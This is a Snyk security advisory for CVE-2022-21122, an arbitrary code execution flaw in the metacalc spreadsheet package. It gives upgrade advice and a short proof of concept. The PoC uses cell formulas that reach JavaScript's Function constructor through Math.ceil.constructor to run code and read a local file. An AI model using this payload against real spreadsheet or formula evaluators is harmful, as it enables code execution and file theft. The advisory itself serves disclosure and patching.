Arbitrary Code Execution Affecting metacalc package, versions <0.0.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.03% (85th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-METACALC-2826197
  • published30 May 2022
  • disclosed17 May 2022
  • creditVladyslav Dukhin

Introduced: 17 May 2022

CVE-2022-21122  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade metacalc to version 0.0.2 or higher.

Overview

metacalc is a Spreadsheet calculations for Metarhia

Affected versions of this package are vulnerable to Arbitrary Code Execution when it exposes JavaScript's Math class to the v8 context. As the Math class is exposed to user-land, it can be used to get access to JavaScript's Function constructor.

PoC

const { Sheet } = require('metacalc');

const sheet = new Sheet();

sheet.cells['A1'] = '=Math.ceil.constructor("console.log(process)")()';
console.log(sheet.values['A1']);

sheet.cells['A3'] = '=Math.ceil.constructor("console.log(process.mainModule.require(\'fs\').readFileSync(\'./poc.js\', \'utf-8\'))")()';
console.log(sheet.values['A3']);

CVSS Scores

version 3.1